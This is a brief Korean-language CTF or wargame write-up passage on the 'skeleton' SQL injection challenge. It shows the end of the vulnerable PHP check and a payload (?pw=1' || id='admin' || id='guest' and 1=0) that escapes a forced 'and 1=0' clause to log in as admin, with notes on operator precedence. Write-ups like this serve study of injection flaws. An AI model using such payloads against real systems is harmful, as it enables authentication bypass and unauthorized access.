query : {$query}
"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?>
뒤에 and 1=0이 박혀있다!
?pw=1' || id='admin' || id='guest' and 1=0
query : select id from prob_skeleton where id='guest' and pw='1' || id='admin' || id='guest' and 1=0
질문 id='guest' and 1=0을 어떻게 해석할 것인가?